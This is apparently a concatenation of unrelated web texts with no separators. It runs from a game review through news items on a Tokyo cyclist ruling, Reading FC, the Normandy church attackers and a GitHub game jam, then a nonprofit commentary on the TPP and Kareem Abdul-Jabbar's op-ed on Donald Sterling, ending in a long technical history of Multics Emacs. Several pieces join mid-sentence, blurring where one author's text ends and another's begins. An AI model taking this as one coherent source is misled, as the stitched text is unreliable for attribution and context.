Speaking to the general and realizing that he cares about one thing and one thing only gives you a feel for how hard it must have been to run a business in this time. With war continuing outside the walls, many turn to you for support. Speaking to Andre gives insight into his childhood and how he feels about his father’s massive factory. You can keep track of which levels you completed the convos in by badges on the level select screen. You gather these anecdotes from your staff and other characters by using Liselot to speak to each individual which makes the story engaging. The problem is, after some time it became increasingly difficult to want to seek out these tidbits.
Super Lemonade Factory is a single player cooperative experience. This means that you are put in control of two different playable characters, with two different complementary ability sets. You do have the option to play 2 player split screen (no online multiplayer unfortunately) but if you are to get any enjoyment going in, solo is your best bet. Having control of both characters gives you the enjoyment of the little strategy present in the game.
Andre is able to break large crates and jump. You can also use his crate smashing attack to extend your jumps for a bit of extra distance. Liselot isn’t as strong as her husband, but she is able to double jump and is your sole means of communication with all the characters. You are able switch between them on the fly although one of them will often be trapped requiring you to free them with the other. In order to move around quickly whenever the happy couple is together you can give Liselot a piggyback ride so you don’t have to move them individually.
It’s pleasant enough in the beginning. I enjoyed traversing each individual room and figuring out the simple puzzles. These, in part, consisted of pushing crates down for Andre so that he can reach new heights and be reunited with his wife. In addition, you can stop to talk to the NPCs on my way to the exit of each stage. The simple gameplay mixed with the solid writing made for an enjoyable experience. At least until I progressed.Image copyright AP Image caption More people are taking to two wheels to navigate the streets of Tokyo
A court in Tokyo has ordered a cyclist to pay nearly half a million US dollars in damages to the family of an elderly woman he knocked down and killed.
The 46-year-old was ordered to pay the 47m yen ($459,000; £278,000) after he ran into the 75-year-old woman at a pedestrian crossing.
The judge said he wanted the case to serve as an example to other cyclists that bicycles can be deadly weapons.
Tokyo has seen a large increase in the number of cyclists in recent years.
'Inattention to the road'
The court found the cyclist was travelling at between 15 and 25km/h (9 to 15mph) when he knocked down Reiko Azuma, who suffered head injuries and died in hospital five days later, the Kyodo news agency reported.
"Unlike in earlier criminal proceedings, the court gave our case the same treatment as it would a car accident," the son of the victim, Mitsuhiro Azuma, said on Tuesday.
According to the news agency, the cyclist had already been indicted for manslaughter and was sentenced to two years' imprisonment, which was suspended for three years.
The judge ruled that the cyclist was not paying attention to the road when the accident happened, and that Mrs Azuma was "in no way at fault".
Accidents involving cyclists have increasingly come under the spotlight in the Japanese capital, with a recent huge increase in the numbers of people using bikes.
Some do it to escape the city's famously overcrowded public transport system, says the BBC's Rupert Wingfield-Hayes in Tokyo.
But the biggest increase came after the 2011 earthquake when hundreds of thousand of commuters were stranded for hours as Tokyo's subway came to a complete halt.
The free-for-all often seen in Tokyo of cyclists speeding through red lights, dodging pedestrians and sometimes texting whilst riding is coming to an end, our correspondent says.Jaap Stam was appointed Reading manager on 13 June
Reading manager Jaap Stam has vowed to keep faith with his side's playing style as a difficult period approaches.
The Royals are fourth in the Championship, but face four of the top six sides in their next six fixtures.
Stam's side lost 1-0 to promotion rivals Huddersfield on Tuesday, ending a six-match unbeaten run, but the Dutchman remains confident.
"The players believe in the system that brought us to the point where we are now today," the 44-year-old said.
The defeat by third-placed Huddersfield left Reading eight points adrift of the automatic promotion places with 13 matches remaining.
The Royals play Brighton on Saturday, with fixtures against Newcastle, Sheffield Wednesday and Leeds also scheduled over the next six weeks.
Although Reading have conceded 42 goals in the league this season - seven more than any other top-six side - Stam believes his players are fully onboard with his tactics.
He told BBC Radio Berkshire: "If we keep on doing it we can dominate the game, play well, go forward and create chances. The belief is there and there's no changing that.
"We'll keep on doing what we've been doing until the end of the season, it's given us success and points.
"At this stage you want to measure yourself against the best teams in the Championship. It would be nice, when you play them, to win those games and stay in the top six."PARIS (AFP) — French prosecutors on Thursday identified the second jihadist involved in the brutal killing of an elderly priest, as calls mounted for the prime minister and interior minister to resign after the latest terror attack.
The prosecutor’s office named the assailant as 19-year-old Abdel Malik Petitjean, who was listed in June on France’s “Fiche S” of people posing a potential threat to national security after trying to reach Syria from Turkey.
Petitjean, whose face was disfigured after being shot dead by police, had been harder to identify than his accomplice Adel Kermiche, also 19, and investigators confirmed his identity after a DNA match with his mother.
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The two jihadists were shown pledging allegiance to the Islamic State group in a video made before they stormed a church in the Normandy town of Saint-Etienne-du-Rouvray Tuesday and slit the 86-year-old priest’s throat at the altar.
The attack came as the government was already facing a firestorm of criticism over alleged security failings after the Bastille Day truck massacre that left 84 people dead two weeks ago.
‘Government guilty’
A brief show of political unity at a mass attended by different faiths in Paris Wednesday quickly dissolved as Prime Minister Manuel Valls and Interior Minister Bernard Cazeneuve faced fresh calls to resign.
“If the government is not responsible for the wave of terrorism, it is guilty of not having done everything to stop it,” Laurent Wauqiez, the deputy leader of the right-wing Republicans party, said in an interview with Le Figaro newspaper.
“Manuel Valls and Bernard Cazeneuve must go because they refuse to take vital measures to fight Islamism. We need a new government, determined to act.”
The French government has said that everything possible is being done to protect citizens, while warning that more terror attacks are inevitable, after three major strikes and several smaller attacks in the past 18 months.
President Francois Hollande confirmed Thursday the creation of a National Guard to be made up of reserve forces, after the government previously urged “patriots” to sign up to become reservists.
Hollande said parliamentary consultations on the formation of the force would take place in September “so that this force can be created as fast as possible to protect the French.”
The government has faced tough questions as it emerged both church attackers were on the radar of intelligence services, and had tried to go to Syria.
Warnings of terror strike
One of the criticisms is that Kermiche had been released from prison while awaiting trial on terror charges after his second attempt to travel to Syria.
He was fitted with an electronic tag — allowing him out of the house on weekday mornings — despite calls from the prosecutor for him not to be released.
Annie Geslin, who worked with Kermiche’s mother for many years, told AFP “he was the youngest child and had psychological problems.”
Sources close to the investigation said Petitjean “strongly resembles” a man hunted by anti-terrorism police in the days before the church killing over fears he was about to carry out an act of terror.
The sources said France’s anti-terrorism police unit UCLAT sent out a note four days before the attack — saying it had received “reliable” information about a person “about to carry out an attack on national territory.”
Three members of Petijean’s family were taken into custody for questioning, said a source close to the investigation.
In a video posted on the IS news agency Amaq, the two men calling themselves by the noms de guerre Abu Omar and Abu Jalil al-Hanafi, hold hands as they swear “obedience” to IS leader Abu Bakr al-Baghdadi.
https://youtu.be/IjZgo7LFkVQ
Petitjean, from the Savoie region in eastern France, worked in several part-times sales jobs and was described by his incredulous mother as “gentle. He is not involved at all.”
Others who knew him were equally shocked, describing him as normal and showing no signs of radicalization.
“All the believers are shocked because he was known for his kindness. What was going on in his head?” asked Djamel Tazghat, who manages the local mosque.
The attack is the third in two weeks in France and Germany in which jihadists have pledged allegiance to IS, increasing jitters in Europe over young, often unstable men being lured by the group’s propaganda and calls to carry out attacks in their home countries.
IS also claimed that Mohamed Lahouaiej Bouhlel, who plowed a truck into a crowd in the French city of Nice on July 14, was one of their “soldiers.” However, no direct link has been found.
Security fears meant a march for the Nice victims planned on Sunday, as well as another in Saint-Etienne-du-Rouvray due to be held on Thursday were canceled.This jam is now over. It ran from to. View results
Welcome to Game Off—our 5th annual game jam celebrating open source. The theme for this year’s jam is throwback.
Let your imagination run wild and interpret that in any way you like, but here are a few possible interpretations for inspiration:
a reversion to an earlier ancestral characteristic
a person or thing having the characteristics of a former time
a nostalgia for something in the past (fashion, movies, literature, games, technology)
something retro—a blast from the past
something passé—no longer fashionable or popular
throwing something back—as in a ball or reply
How to participate
Create a game based on the theme over the next month. Sign up for a free GitHub account if you don't already have one. Join the Game Off on itch.io. If you don’t already have an itch.io account, log in with your GitHub account. Create a new repository to store the source code and any assets you’re able to share for your entry and push your changes before December 1 13:37 PDT. Submit your game through itch.io.
You can participate by yourself or as a team. Multiple submissions are fine. And of course, the use of open source software is encouraged.
Voting
This year, voting will open shortly after the jam ends and is open to everyone who’s submitted a game. There’ll be plenty of time to play and vote on the entries.
As always, we'll highlight some of our favorites games on the GitHub Blog, and the world will get to enjoy (and maybe even contribute to or learn from) your creations.
If you're new to Git, GitHub, or version control
Git Documentation: everything you need to know about version control and how to get started with Git
GitHub Help: everything you need to know about GitHub
Any questions about GitHub? Please contact the GitHub Support team and they'll be delighted to help you
If you're new to itch.io or game development
The itch.io community feature is enabled for this jam—that’s a great place to ask questions specific to the Game Off, share tips, etc.
And don’t be shy—share your progress! The official Twitter hashtag for the Game Off is #GitHubGameOff.Email Share 7 Shares
April 29, 2015; Madison County Journal (Madison County, GA)
At the Council on Foundations annual meeting this past week, former House Speaker Newt Gingrich cited his work with the Clinton White House in getting NAFTA enacted as evidence of the ability of both parties to work together. Free trade pacts as a possible venue of bipartisan collaboration might not work quite as well today as they did nearly a quarter-century ago between Republicans and Democrats—or even between Democrats and Democrats. Although some congressional Republicans and Democrats are working cooperatively to get the Trans-Pacific Partnership treaty completed and approved by giving the President “fast track” authority, Zach Mitcham, the editor of the Madison County Journal, was reminded of the late comedian George Carlin’s quip: “Bipartisanship usually means that a larger-than-usual deception is being carried out.”
NAFTA probably isn’t a great example of free trade bipartisanship for Gingrich to cite, as many Democrats and much of organized labor think that NAFTA didn’t quite pan out as President Clinton said it would. “Over and over again, we’ve been told that trade deals will create jobs and better protect workers and the environment,” said Senator Bob Casey (D-PA). “Those promises have never come to fruition.”
That isn’t stopping President Obama, who has been raising the stakes for support of his 12-nation Pacific trade deal—and sparking the ire of many of his politically progressive allies. In a speech to the Organizing for Action group that grew out of the Obama campaign’s Organizing for America, the president was none too kind to the opponents of his free trade agenda, “When people say this trade deal is bad for working families, they don’t know what they’re talking about,” the president said. “I take that personally. My entire presidency has been about helping working families.”
The president also compared claims about the lack of transparency in the trade agreement to Sarah Palin’s charge that the Affordable Care Act contained requirements for “death panels.” His actual statement was a little worse than that, couched in language that reflected his displeasure with the critics:
“Now, some of these folks are friends of mine. I love them to death. (Laughter.) But in the same way that when I was arguing for health care reform I asked people to look at the facts—somebody comes up with a slogan like ‘Death Panel,’ doesn’t mean it’s true. Look at the facts. The same thing is true on this. Look at the facts. Don’t just throw a bunch of stuff out there and see if it sticks.”
And he challenged his critics to tell him specifically—and accurately—what was wrong with the Pacific trade deal, not to explain what was wrong with a quarter-century old NAFTA.
Where’s the nonprofit angle in this? It is the relationship of the president to ostensibly independent nonprofits. Organizing for Action is the 501(c)(4) successor to Organizing for America, which was part of the Obama election campaign. Its website URL is none too subtle: barackobama.com. On the website, OFA’s seven issue priorities do not include free trade, and even within the description of the issue most likely to reference trade, “economic opportunity,” the word “trade” doesn’t appear.
In a second speech to OFA, at the OFA dinner that followed the OFA summit where he issued his “death panel” comparison, the president joked about OFA’s independent identity: “What OFA has been able to accomplish so that now it’s no longer about reelecting me—it never technically was, but—(laughter)—or moving our agenda forward—but I just wanted to make that point.”
Writing for the New Republic, Danny Vinik suggests that the actual impact of the Trans- Pacific Partnership is, at this moment, unclear—probably not as big and good as the free-traders suggest, but not as big and bad as TPP opponents fear. What’s really at stake is beyond the specifics of the TPP. It’s a question of the trustworthiness of government and the transparency of the government’s relationships with the big corporate interests that increasingly dominate government, regardless of the political parties occupying the White House and Congress.
The president’s rallying of OFA to line up behind the TPP and fast-track trade authority contains echoes of the formation of the previously unknown Progressive Coalition for American Jobs, the ostensibly progressive coalition that has endorsed the president’s trade position. OFA’s presumed independence from the president is pretty thin, its openness about whether it has a specific position on trade is hard to determine, and its connection to the formation of PCAJ palpable (notably through the involvement of Mitch Stewart, who was in 2013 announced as the first director of Organizing for Action). As the president looks to OFA to rally to his TPP position, which seems a signpost for the president’s increased isolation from other political progressives on the issue of this trade deal, it weakens OFA’s ability to be credible in the independence of its community organizing around its core issues of climate change, immigration reform, expanding equality, preventing gun violence, health care, women’s issues, and economic opportunity.
What is happening to the president’s position, and potentially to OFA, is that the trade pact is is about more than trade. It is about governance. Mitcham writes the following:
“On matters of big money—of true clout—the two parties are more alike than different. And we’re all going to pay for an increasingly rigged game. The fact that there’s bipartisan support for a secretive deal like this should alert you to the fact that you’re not being adequately represented…If this was on the up and up, we could speak up on the details of what’s in the deal and be heard and fairly considered on each point. That’s how our government is supposed to work, right?”
—Rick CohenMoral outrage is exhausting. And dangerous. The whole country has gotten a severe case of carpal tunnel syndrome from the newest popular sport of Extreme Finger Wagging. Not to mention the neck strain from Olympic tryouts for Morally Superior Head Shaking. All over the latest in a long line of rich white celebrities to come out of the racist closet. (Was it only a couple days ago that Cliven Bundy said blacks would be better off picking cotton as slaves? And only last June Paula Deen admitted using the “N” word?)
Yes, I’m angry, too, but not just about the sins of Donald Sterling. I’ve got a list. But let’s start with Sterling. I used to work for him, back in 2000 when I coached for the Clippers for three months. He was congenial, even inviting me to his daughter’s wedding. Nothing happened or was said to indicate he suffered from IPMS (Irritable Plantation Master Syndrome). Since then, a lot has been revealed about Sterling’s business practices:
2006: U.S. Dept. of Justice sued Sterling for housing discrimination. Allegedly, he said, “Black tenants smell and attract vermin.”
2009: He reportedly paid $2.73 million in a Justice Dept. suit alleging he discriminated against blacks, Hispanics, and families with children in his rentals. (He also had to pay an additional nearly $5 million in attorneys fees and costs due to his counsel’s “sometimes outrageous conduct.”)
2009: Clippers executive (and one of the greatest NBA players in history) sued for employment discrimination based on age and race.
And now the poor guy’s girlfriend (undoubtedly ex-girlfriend now) is on tape cajoling him into revealing his racism. Man, what a winding road she led him down to get all of that out. She was like a sexy nanny playing “pin the fried chicken on the Sambo.” She blindfolded him and spun him around until he was just blathering all sorts of incoherent racist sound bites that had the news media peeing themselves with glee.
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They caught big game on a slow news day, so they put his head on a pike, dubbed him Lord of the Flies, and danced around him whooping.
I don’t blame them. I’m doing some whooping right now. Racists deserve to be paraded around the modern town square of the television screen so that the rest of us who believe in the American ideals of equality can be reminded that racism is still a disease that we haven’t yet licked.
What bothers me about this whole Donald Sterling affair isn’t just his racism. I’m bothered that everyone acts as if it’s a huge surprise. Now there’s all this dramatic and very public rending of clothing about whether they should keep their expensive Clippers season tickets. Really? All this other stuff I listed above has been going on for years and this ridiculous conversation with his girlfriend is what puts you over the edge? That’s the smoking gun?
He was discriminating against black and Hispanic families for years, preventing them from getting housing. It was public record. We did nothing. Suddenly he says he doesn’t want his girlfriend posing with Magic Johnson on Instagram and we bring out the torches and rope. Shouldn’t we have all called for his resignation back then?
Shouldn’t we be equally angered by the fact that his private, intimate conversation was taped and then leaked to the media? Didn’t we just call to task the NSA for intruding into American citizen’s privacy in such an un-American way? Although the impact is similar to Mitt Romney’s comments that were secretly taped, the difference is that Romney was giving a public speech. The making and release of this tape is so sleazy that just listening to it makes me feel like an accomplice to the crime. We didn’t steal the cake but we’re all gorging ourselves on it.
Make no mistake: Donald Sterling is the villain of this story. But he’s just a handmaiden to the bigger evil. In our quest for social justice, we shouldn’t lose sight that racism is the true enemy. He’s just another jerk with more money than brains.
So, if we’re all going to be outraged, let’s be outraged that we weren’t more outraged when his racism was first evident. Let’s be outraged that private conversations between people in an intimate relationship are recorded and publicly played. Let’s be outraged that whoever did the betraying will probably get a book deal, a sitcom, trade recipes with Hoda and Kathie Lee, and soon appear on Celebrity Apprentice and Dancing with the Stars.
The big question is “What should be done next?” I hope Sterling loses his franchise. I hope whoever made this illegal tape is sent to prison. I hope the Clippers continue to be unconditionally supported by their fans. I hope the Clippers realize that the ramblings of an 80-year-old man jealous of his young girlfriend don’t define who they are as individual players or as a team. They aren’t playing for Sterling—they’re playing for themselves, for the fans, for showing the world that neither basketball, nor our American ideals, are defined by a few pathetic men or women.
Let’s use this tawdry incident to remind ourselves of the old saying: “Eternal vigilance is the price of freedom.” Instead of being content to punish Sterling and go back to sleep, we need to be inspired to vigilantly seek out, expose, and eliminate racism at its first signs.
Kareem Abdul-Jabbar is a six-time National Basketball Association champion and league Most Valuable Player. Follow him on Twitter (@KAJ33) and Facebook (facebook.com/KAJ).
Contact us at [email protected] week we travel back in time to the thirteenth century and Castle Woodstock in Athy, Co. Kildare. I shot this image back in 2012. |
readable (in some opinions) than many block-structured languages. Finally, many, if not most, Lisp implementations, are not fully mature, and thus not suited for large subsystem implementation. The unique nature of the Multics process environment allows subsystems in Multics MacLisp to invoke, and communicate readily with, Multics facilities outside of the Lisp environment. The set of facilities available to a program running in a Multics process is one of the major features of Multics.
The status of Multics MacLisp at this time was that of a holdover from MIT co-development days of Multics. Other than the above-mentioned dump analysis tool, it had no major uses, and its documentation [Moonual] was no longer published or available. Honeywell did not support it officially in any way. No distributed Multics program was written in Lisp.
The decision to use Multics MacLisp as an implementation language had profound consequences for its future. A large amount of interest in Lisp was eventually manifested by those desirous of knowing it solely to be able to augment Multics Emacs. Non-technical personnel have been observed to acquire enough knowledge of Lisp to extend Emacs for only this purpose. Lisp had previously been limited to undergraduate computer science courses and Artificial Intelligence laboratories. The choice of Lisp turned out to be a very wise choice, for the incremental creation of the editor, through its "extensibility," could have been done in no other language.
On the evening of March 3, 1978, Bruce Edwards and the author sat logged into MIT's Multics System and coded, and debugged, what was to become the central module of Multics Emacs. This Lisp program maintained a buffer of text as a list of Editorlines, each Editorline representing one line of text of the buffer. An Editorline is a triplet, of a Linecontent, the previous Editorline of the buffer, and the next Editorline. A Lisp variable identified the current Editorline, and another variable the current point in the current line. The Linecontents were, in this initial implementation, represented as a doubly-linked list of single characters. The current point in the current line was identified with the list node containing the character at that point Lisp functions were provided to insert a character at the current point, delete a character, break a line into two by inserting a newline, merge two lines by deleting one, move the "current line" and "current character" pointers forward and backward over characters and lines, and print out a line.
IV. Multics Emacs: The Embryonic Phase and Basic Decisions
The program created that day did nothing but maintain a buffer of text in Lisp list structure. Primitives to operate upon the buffer and the pointers had no visible effect when invoked. Lines had to be "printed" by invoking a function provided for that purpose. This program is (much augmented since) the core of Multics Emacs. It could have been used equally well to implement a non-display editor of the conventional (qedx, or TECO-like) mold.
The basic structure of an Emacs-like display editor consists of three parts, such a program (called the basic editor), an interactive driver, and a redisplay. The basic editor maintains text and contains primitives to operate upon it. The interactive driver interprets characters read from the keyboard, and invokes primitives in the basic editor to execute these requests. The redisplay is a screen manager, and is invoked by the interactive driver between input characters, and constructs and maintains a display screen by looking at the basic editor's buffer, and effecting incremental change. Much more will be said about the interactive driver and the redisplay later.
The basic editor developed on March 3, 1978 had several noteworthy design points. The representation of the text buffer as a list of Editorlines was designed to optimize the redisplay of a display editor, and to optimize user-visible and internal primitives which dealt with lines. Much of editing and text-processing operation consits of operations upon lines, or iterated over lines. Having to search for end-of-line characters for these common operations seemed suboptimal. More specifically, the redisplay would have to identify lines of the buffer with lines displayed upon the screen when the screen was last updated, in order to move lines around and better know which text to compare at redisplay time. Redisplay is basically a compare-and-update process (which will be discussed further), and any way of making the comparisons and heuristics cheaper is of tremendous value.
The maintenance of the buffer as list-structure also means that text does not have to be moved around to perform insertions or deletions: lines deleted are simply unlinked from the list representing the buffer, and new lines are linked in. Lisp garbage collection ultimately reclaims the space used by deleted nodes. Yet, even in non-garbage-collected programming languages, explicit storage management of the list nodes allows this potent strategy to be utilized. The doubly-linked list has as a disadvantage that the representation of an empty buffer, i.e., one containing no lines, and no characters at all, is difficult, and this remains a problem to this day. Multics Emacs buffers are created with one line consisting of only a newline character; such a buffer is considered to be "empty," and the reading of a file into an empty buffer is special-cased to produce the desired result. Another problem with this approach is the difficulty of searching for a character string, particularly one containing imbedded newline characters. In spite of these difficulties, Daniel Weinreb subsequently adopted the doubly-linked buffer list in his editor ZWEI [DLWThesis] on MIT's Lisp Machines [Chineual]. ZWEI is also coded in Lisp.
The decision was made from the start to represent Linecontents in two different ways, one way for all lines but the current line, and the other for the current line. The representation medium for the current line must be easily modifiable, while the other lines must be storage-efficient. MacLisp strings, which were the natural choice to represent Linecontents, are not modifiable. (Strings on the Lisp Machine [Chineual], on the other hand, are array-like objects, and are). In the initial implementation, the current line was represented by the doubly-linked list of characters described above. The Linecontents of all other lines were (and still are) Lisp strings. The current line is copied into the modifiable representation when it is first modified (this is known as opening the line), and copied back into a (new) Lisp string when the current line is left (i.e., is no longer the current line). This strategy matches fairly well the normal user pattern of moving to a line, modifiying it, moving to another line, etc. Making sequential changes through a buffer, or simply typing in any amount of new text, are both special cases of this pattern.
It was realized quite early that the doubly-threaded list of characters could not be efficient enough for a production implementation: even attempting to re-use the storage of the list nodes of the representation was deemed too inefficient. For operations upon the current line, the traditional character-string buffer had distinct advantages. Eventually (about three weeks into the development of the editor), a new type of Lisp object had to be invented to hold the modifiable representation of the current line. The rplacable string (from the Lisp terms rplaca and rplacd, the primitive pointer storage modifiers) is stored outside of the Lisp environment, in a Multics segment. Pointers to it can exist in Lisp pointer cells, and these pointers have the type bits of a character string (Multics Lisp pointers are explicitly typed). A special bit pattern in the pointer indicates that the pointer must not be chased or be subjected to data-object relocation by the MacLisp garbage collector, which, in the Multics implementation, is a recompacting-type garbage collector [GCPAPER]. Four rplacable strings are needed by the entire implementation.
The rplacable string is manipulated by two kinds of primitives: normal Lisp (and Lisp-interfacing) primitives can view it as a character string, and special primitives (in LAP, the Lisp-interfacing assembler in many implementations) are provided to modify its contents: delete characters from any point in it, and insert characters at any point in it. These primitives make use of powerful Multics hardware instructions which can perform overlapping string moves in either direction, mapping precisely the actions of inserting and deleting characters from the active current line. The LAP functions run in the Lisp environment, and are called as efficiently as one Lisp function from another.
The next step was the development of an interactive driver. The function of the interactive driver of an Emacs-like editor is basically that of TECO Control R mode: to read characters from the user's keyboard, find out what program (in TECO, a macro, in Lisp, a function) to run (the binding of the key), and execute it. After each such function is executed, the interactive driver invokes the redisplay to reflect changes to the buffer on the screen. This loop of read a character, dispatch on it to a function, redisplay, repeated indefinitely, is the basic control loop of an Emacs-like editor.
The interactive driver provided no special problems in the initial implementation: the atomic symbol [Moonual] whose name was the character which had been typed was given as a Lisp property the function to be run when that character was struck. Two-keystroke sequences were mapped into different properties of the second character. This mechanism was not conducive to switching key bindings rapidly nor easily, and prevented the latter from being implemented for the three months while it lasted. The storage inefficiency implicit in the storage of the properties was also undesirable. Nevertheless, the natural mapping of the key-bindings into the Lisp property mechanims provided an easy path to create an operative mechanism to allow the rest of the editor to grow.
A more significant difficulty was the availability of character-at-a-time I/O for experimentation. The growing editor was completely experimental and not part of any recognized or funded project, and no resources were immediately available among the already highly overcommitted Multics Communications support specialists. Thus, Ciccarelli's code was sought out, to find the basis of his techniques of single-character-input via the Multics ARPANET. Within a day, the interactive driver was operating in true character-at-a-time (real-time) mode for processes logged in via the Multics ARPANET. As there was no redisplay, a Lisp function which printed out the current line, with an overstruck < and > for the current character position, served in its place.
Soon thereafter, Johnson's patch to effect single-character transmission from the FNP was applied on a regular basis, on the CISL Development Multics Site (a testbed system with no real user community) as editor development progressed. As this went on, users on MIT's Multics system willing to experiment with the new editor were forced to use it via the ARPANET, for those administratively allowed to use the ARPANET, or experiment with it in non-real-time mode (typing a linefeed to activate, i.e., cause Multics to take cognizance of) previously typed input. These development paths proceeded in parallel: the application of the patches (to become known as the breakall mode patches), a slow and dangerous operation requiring highly privileged access, to the MIT service system was out of the question.
The next and final step in the birth of the editor was the design and creation of the Redisplay. A redisplay's job is to depict a section of the contents of a buffer on a video terminal screen. The redisplay is invoked by the interactive driver after each function has been called, which has performed arbitrary modifications upon the buffer. The redisplay must know precisely what it put upon the screen the previous time it was invoked, compute what must be put upon the screen this time, and determine how to most effectively and efficiently modify the screen, using the terminal facilities available, to transform the old screen content into the new screen content.
It is one of the fundamental design principals of a real-time video editor of this nature, that the basic editor is aware of neither the existence nor the organization of the redisplay. The redisplay is, symmetrically, aware of neither the organization nor actions of the basic editor. Between invocations of the redisplay, it is given no hint as to how the transformations upon the buffer which it will observe were performed, it can observe only the new state of the buffer (including current line pointer, etc.). This philosophy leads the highly desirable state of affairs, where extensions (i.e., user-supplied editor features) as well as the basic editor need not be at all concerned with display management, but only manipulation of the text in the buffer via the supplied primitives. The display is managed automatically.
The first coding of the Multics Emacs redisplay was performed on March 6, 1978. The Delta Data 4000 terminal at CISL was the only video terminal readily available, and fortunately, in spite of severe implementation bugs in the terminal, it had the features of the better class of consumer video terminals available. The ability to insert and delete characters and lines from the screen was thus designed into the redisplay from the start. The interface to the redisplay was designed as one Lisp function, redisplay, which took no explicit arguments. The current buffer, the current line pointer, the current character position pointer, etc., i.e., the current state of the basic editor, are all implicit parameters. The contract of the function redisplay is to determine what is to be displayed on the screen, how it differs from what is already on the screen, update the screen, and remember for next time what is now on the screen.
Even the appearance of simple typed input on the screen is a manifestation of the redisplay. Theoretically, a redisplay occurs between every two characters typed, and it is the redisplay which puts all characters on the screen, including typed input, one at a time, as they are typed. In fact, later optimizations (to be discussed) allow participation of the operating system to be negotiated for simple echoing, but the principle remains the same.
The redisplay is the only part of the editor which interfaces to the terminal's display. In such a system, the keyboard and display of the terminal are considered to be completely disjoint; terminals for which this cannot be said to be so are simply not usable in this environment. Device-independent terminal support was provided by supplying a separate Lisp program (known as a CTL, for "controller") for each terminal type supported. The functions defined in Each CTL are the same, and provide the common functionalities of terminal displays. For example, DCTL-position-cursor, of two arguments, coordinates, positions the terminal's cursor to those coordinates. DCTL-delete-lines, of one argument, the number of lines to be deleted, deletes that many lines at the current cursor. An initialization function, DCTL-init, is provided in each terminal's CTL, to set parameters used by the redisplay which state which functions are available: all terminals subset the maximal CTL. Functions in all CTLs call a common interface to output characters to the terminal.
Via the CTL mechanism, the dynamic nature of the Lisp workspace, and of Lisp function calling in particular, is used to add a terminal-specific component to the editor at invocation time. The type of terminal being used is (usually) provided by the Multics Communications software, and thus, the loading of the CTL is automatic.
The heart of the redisplay is its screen image, a data structure by which the redisplay remembers what it left on the screen after one invocation, so that it might know what is there at the start of the next. Rather than an array of characters, the representation of the screen image is designed to take advantage of the basic editor's division of the buffer into Editorlines. The screen image is a Lisp array [Moonual] of one dimension, one with element for each physical line of the display terminal. The element of this array (called screen ) is a Displayline, which is a pair of an Editorline and a string which is the exact character sequence known to be on the physical line of the display (the Linedata). Several consecutive Displaylines may have the same Editorline, for Editorlines whose printed representation is longer than one physical terminal line.
The contents of a Linedata reflect the actual printed representation of an Editorline or a part of an Editorline. Linedatas do not contain new-line characters, tabs, non-printing characters, or other format effectors. The number of characters in a Linedata is its width in columns upon the screen; all characters in it are single-width printing characters. The character in a given position on the corresponding terminal line is the character in the corresponding position of the Linedata. Non-printing characters in the Editorline (actually the Linecontent of the Editorline) are converted to their printable representation (an ASCII WRU to either "\005" or "^E" (control E), according to the Multics or ITS conventions, a user option), and tabs are converted to the appropriate number of spaces.
Note that this strategy is not readily extensible to representation of overstrikes or multi-width fonts: although Multics does not now have multi-font support (there are certainly no multi-font terminals readily available, from the viewpoint of Editor use of multiple fonts), but the lack of representability of overstrikes has been a problem (underlined text is quite common in Multics). Perhaps an addition of an overstrike map of some form to the Displayline structure is the solution.
The basic flow of the redisplay is to compute, for the whole screen, what the Displaylines of the new screen will be, filling another array ( newscreen ), update the screen based upon comparing the arrays screen and newscreen by calling functions in the CTL, and copy the array newscreen into screen. In fact, this operation is performed on a per-window basis every time redisplay in invoked. (A window is a section of the screen assigned to the display of a particular buffer: although there may (today) be any number of windows, the limitations of conventional terminals restrict them to be as wide as the screen.)
The redisplay contains many optimizations: it is that part of the Editor where effort in optimization is most well-spent. Optimization of line-transmission time, i.e., the least screen-rewriting for each redisplay, is most visible to the user. However, the frequency of invocation of the redisplay, and the conceptual complexity of its task, make the computation time of the redisplay a prime target for optimization, a of critical significance of the entire editor. CPU time consumption mainfests itself as system loading, billable user expense, and reduced response time visible to the user. In the Lisp implementation, where strings and list nodes are dynamically allocated, minimization of storage generation for each redisplay is an equally important consideration. The detailed algorithms and optimizations of the redisplay will be given in Appendix A.
With the completion of the initial implementation of the redisplay, the basic loop of interactive driver-basic editor-redisplay was functional, providing an operative editor. The next necessary addition was that of extensions, to provide useful function. An editor extension is a body of code which provides text-manipulating capability specific to some domain of text processing, and operates by invoking primitives in other extensions and the basic editor. An extension does not know about the data formats or organization of the basic editor. Extensions are completely unaware of the existence of the display and the redisplay. Like the basic editor, extensions manipulate text in buffers (by calling the basic editor, however, as opposed to actually manipulating the editor data structure), and the display "follows automatically" without any explicit coding thereto.
Extensions are often written by users, although a set of "extension code" is incorporated into the editor (the primitives for manipulating words, sentences, paragraphs, comments, and whitespace). Further supplied extensions, which are loaded into the editor environment on demand for the Emacs library, include code knowledgeable about PL/I or Lisp syntax, the Emacs mail system, and other optional packages. Extensions are written in MacLisp, augmented by a set of Lisp Macros [Moonual] which tune the syntax of MacLisp for data and control constructs necessary for manipulation of the Multics Emacs environment. The extension language is an interesting one, and will be covered in more detail in Appendix B.
It is considered to be a major feature that the language of extensions is a fluid and powerful language, specifically designed for writing programs. This contrasts dramatically with the use of TECO for extension coding in ITS Emacs. While ITS TECO code is quite baroque, and accessible to only a few experts, the extension language of Multics Emacs is sufficiently natural and simple to learn that non-technical personnel have successfully written and debugged non-trivial extensions. Stallman [Stallman] concurs about the relative merits of TECO versus Lisp as an editor implementation/extension language.
Multics Emacs provides a number of features in its Lisp-program-editing mode to facilitate the interactive development and debugging of extensions as they are being written: functions in an editor buffer can be added to the editor environment in a keystroke. Most of the extensions after the first few weeks of Multics Emacs have been developed in this way. The interactive, incremental development of Lisp programs in this way is not unlike the techniques developed on MIT's Lisp Machine [Chineual, DLWThesis].
Among the more interesting of the initial features provided for the use of extensions was the creation of character sets as extended-type objects for extensions trying to utilize the character-scanning capabilities of the Multics hardware. A primitive in the basic editor returns, in exchange for a character string, a pair of two Lisp arrays designated as a character set. Another set of primitives in the basic editor, given a character set, will scan the buffer from the current point, backwards or forwards, possibly only in the current line, for the first character in the character set, or not in the character set, as required. The arrays which constitute the character set are set up for immediate use by powerful Multics hardware instructions (of the "translate and test" variety) that actually are used to perform the scanning.
The ability to deal with external files was also provided naturally by Lisp type-extension (the ability to arbitrarily define a type of object created by composition out of other, possibly primitive object types). Editorlines whose contents were unmodified strings in external files have Linecontents which are pairs of a pointer and length (as a list node), the pointer being to the location of the character string (the Multics hardware supports character addresses in pointers) in the Multics Virtual Memory. The lowest-level LAP primitives will deal with either a Lisp string or such an object (a Filecons) identically, as being representations of character strings. Thus, the read-in of a file to Multics Emacs does not cause storage generation for copying of all of the strings in the file into MacLisp strings.
